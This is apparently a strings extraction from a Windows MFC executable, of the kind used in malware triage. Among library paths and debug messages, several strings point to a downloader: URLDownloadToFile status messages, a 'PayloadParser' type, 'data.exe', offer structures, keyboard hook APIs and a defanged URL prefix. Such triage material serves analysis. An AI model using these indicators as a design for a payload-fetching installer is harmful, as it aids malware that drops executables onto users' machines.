f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arccore.cpp

CHttpConnection

CHttpFile

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\inet.cpp

Unknown status: %d

Internet ctxt=%d:

Warning: throwing CInternetException for error %d

Warning: Extended error reported with no response info

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filex.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olevar.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcex.cpp

WM_HOTKEY

WM_SETHOTKEY

WM_IDLEUPDATECMDUI

WM_DDE_EXECUTE

WM_KEYLAST

WM_SYSKEYUP

WM_SYSKEYDOWN

WM_KEYUP

WM_KEYDOWN

WM_VKEYTOITEM

WM_CTLCOLORMSGBOX

WM_USER 0xX

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxtrace.cpp

Warning: Unable to unpack WM_DDE_EXECUTE lParam lX.

Warning: failed to reclaim %d bytes for memory safety pool.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winhand.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpcont.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_b.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_w.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_d.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_p.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_o.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_pp.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_wo.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_so.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_ss.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgcomm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\bartool.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxcrit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occevent.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filemem.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\plex.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui3.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olelock.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winutil.cpp

Warning: Shrinking safety pool from %d to %d to satisfy request of %d bytes.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\list_p.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winmenu.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcmn2.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcmn.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledisp2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcstrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleenum.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\apphelp.cpp

Error: failed to load AfxFormatString string 0xx.

Error: illegal string index requested %d.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgtempl.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxmt.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filest.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpout.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\fixalloc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledisp1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olecnvrt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olemsgf.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occlock.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olefact.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledobj2.cpp

a %hs object at $%p, %u bytes long

an invalid object at $%p, %u bytes long

faulted while dumping object at $%p, %u bytes long

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledlgs2.cpp

m_bz.hTask =

m_bz.hResource =

m_bz.lpszTemplate =

m_bz.hInstance =

m_bz.lCustData =

m_bz.lpszCaption =

m_bz.hWndOwner =

m_bz.dwFlags =

m_bz.cbStruct =

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledoc1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\list_o.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

%s(%d) :

%s_%0x

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atlbase.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setvbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\threadex.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\w_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

This is an unsupported way to load Visual C   DLLs. You need to modify your application to build with a manifest.

- Attempt to initialize the CRT more than once.

- CRT not initialized

Please contact the application's support team for more information.

- floating point support not loaded

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

ADVAPI32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

USER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\convrtcp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

Run-Time Check Failure #%d - %s

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

MSPDB80.DLL

RegCloseKey

RegOpenKeyExA

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appmodul.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winmain.cpp

.?AVCCmdTarget@@

.?AVCWebBrowser2@@

.?AVExecuteBase@@

.?AVExecuteFacade@@

.PAVCFileException@@

.PAVCInternetException@@

.PAVexception@std@@

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.PAVCOleException@@

.?AVCNotSupportedException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCUserException@@

.PAVCResourceException@@

.PAVCArchiveException@@

.?AVCHttpConnection@@

.?AVCHttpFile@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCOleDispatchException@@

zcÁ

"""2#"#"

##:;;>>1

jjk%xxy

jjk`jjk%xxy

(. .dD=A

%U'QQ)W@

%sRpgBIj

*Ú3m

GetCPInfo

GetConsoleOutputCP

GetProcessHeap

RegOpenKeyExW

RegEnumKeyExW

RegCreateKeyExW

RegOpenKeyW

RegEnumKeyW

RegCreateKeyW

RegDeleteKeyW

RegQueryInfoKeyW

RegNotifyChangeKeyValue

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

ShellExecuteW

ShellExecuteExW

UrlUnescapeW

URLDownloadToFileW

SetWindowsHookExW

GetKeyState

CreateDialogIndirectParamW

UnhookWindowsHookEx

HttpQueryInfoW

HttpSendRequestW

HttpOpenRequestW

InternetOpenUrlW

InternetCanonicalizeUrlW

InternetCrackUrlW

.text

`.rdata

@.data

.rsrc

%XoYZone

$=S%Sav

.mp/oc

a}7%D

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">

<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS>

<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS>

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS>

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

COMDLG32.dll

GDI32.dll

IPHLPAPI.DLL

ole32.dll

OLEACC.dll

OLEAUT32.dll

oledlg.dll

RPCRT4.dll

SHELL32.dll

SHLWAPI.dll

urlmon.dll

USER32.dll

WININET.dll

WINSPOOL.DRV

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xutility

AtlThrow: hr = 0x%x

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlsimpstr.h

std::_Vector_const_iterator<unsigned int,class std::allocator<unsigned int> >::operator *

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\vector

std::_Vector_const_iterator<unsigned int,class std::allocator<unsigned int> >::operator  =

std::_Vector_const_iterator<struct offerStruct *,class std::allocator<struct offerStruct *> >::operator *

std::_Vector_const_iterator<class std::vector<unsigned int,class std::allocator<unsigned int> > *,class std::allocator<class std::vector<unsigned int,class std::allocator<unsigned int> > *> >::operator *

std::_Vector_const_iterator<struct offerStruct *,class std::allocator<struct offerStruct *> >::operator  =

std::_Vector_const_iterator<class std::vector<unsigned int,class std::allocator<unsigned int> > *,class std::allocator<class std::vector<unsigned int,class std::allocator<unsigned int> > *> >::operator  =

std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >::operator []

hWarning: implicit LoadString(%u) failed

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Windows

IsWindowsServer,

std::vector<unsigned char,class std::allocator<unsigned char> >::operator []

std::_Vector_const_iterator<unsigned char,class std::allocator<unsigned char> >::operator *

std::_Vector_const_iterator<unsigned char,class std::allocator<unsigned char> >::operator  =

std::vector<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator []

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator   

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\algorithm

std::_Vector_const_iterator<unsigned char,class std::allocator<unsigned char> >::operator   

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator  =

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator   

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\ostream

std::_Tree<class std::_Tmap_traits<int,wchar_t const *,struct std::less<int>,class std::allocator<struct std::pair<int const ,wchar_t const *> >,0> >::const_iterator::operator ==

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xtree

std::_Tree<class std::_Tmap_traits<int,wchar_t const *,struct std::less<int>,class std::allocator<struct std::pair<int const ,wchar_t const *> >,0> >::const_iterator::operator *

Ainvalid operator<

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::_Inc

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::_Inc

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::_Inc

ExtractIcon.cpp

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator   

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\list

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator --

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator   

std::_Vector_const_iterator<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator  =

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\regex

_std::_Vector_const_iterator<char,class std::allocator<char> >::operator *

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator *

std::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::_Inc

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlcomcli.h

helpJavaScript.cpp

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator  =

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator *

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator   

std::vector<wchar_t,class std::allocator<wchar_t> >::operator []

E_OUTOFMEMORY FAIL URLDownloadToFile

INET_E_DOWNLOAD_FAILURE FAIL URLDownloadToFile

SUCCEEDED URLDownloadToFile

SUCCEEDED default URLDownloadToFile

default URLDownloadToFile

hXXps://

std::vector<struct PayloadParser::argument,class std::allocator<struct PayloadParser::argument> >::operator []

std::_Vector_const_iterator<struct PayloadParser::argument,class std::allocator<struct PayloadParser::argument> >::operator  =

std::_Vector_const_iterator<struct PayloadParser::argument,class std::allocator<struct PayloadParser::argument> >::operator *

std::_Vector_const_iterator<struct PayloadParser::argument,class std::allocator<struct PayloadParser::argument> >::operator   

data.exe

start.gif

std::vector<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator []

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator *

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator   

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator  =

5.2.329

"sentry.interfaces.Message": {

EHKEY_CURRENT_CONFIG\

HKEY_CURRENT_CONFIG

HKEY_USERS\

HKEY_LOCAL_MACHINE\

HKEY_CURRENT_USER\

HKEY_CLASSES_ROOT\

std::_Tree<class std::_Tmap_traits<unsigned int,class CTrayIcon *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class CTrayIcon *> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<unsigned int,class CTrayIcon *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class CTrayIcon *> >,0> >::const_iterator::operator *

%s%s%s

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::_Inc

SELECT * FROM Win32_OperatingSystem

_hd_%S

0mb_%S

Windows

CACHE_S_FORMATETC_NOTSUPPORTED

CO_E_SERVER_EXEC_FAILURE

MK_E_INTERMEDIATEINTERFACENOTSUPPORTED

OLE_E_ADVISENOTSUPPORTED

REGDB_E_KEYMISSING

SCACHE_E_FIRST...CACHE_E_LAST

CACHE_S_FIRST...CACHE_S_LAST

CLASSFACTORY_E_FIRST...CLASSFACTORY_E_LAST

CLASSFACTORY_S_FIRST...CLASSFACTORY_S_LAST

CLIENTSITE_E_FIRST...CLIENTSITE_E_LAST

CLIENTSITE_S_FIRST...CLIENTSITE_S_LAST

CLIPBRD_E_FIRST...CLIPBRD_E_LAST

CLIPBRD_S_FIRST...CLIPBRD_S_LAST

CONVERT10_E_FIRST...CONVERT10_E_LAST

CONVERT10_S_FIRST...CONVERT10_S_LAST

CO_E_FIRST...CO_E_LAST

CO_S_FIRST...CO_S_LAST

DATA_E_FIRST...DATA_E_LAST

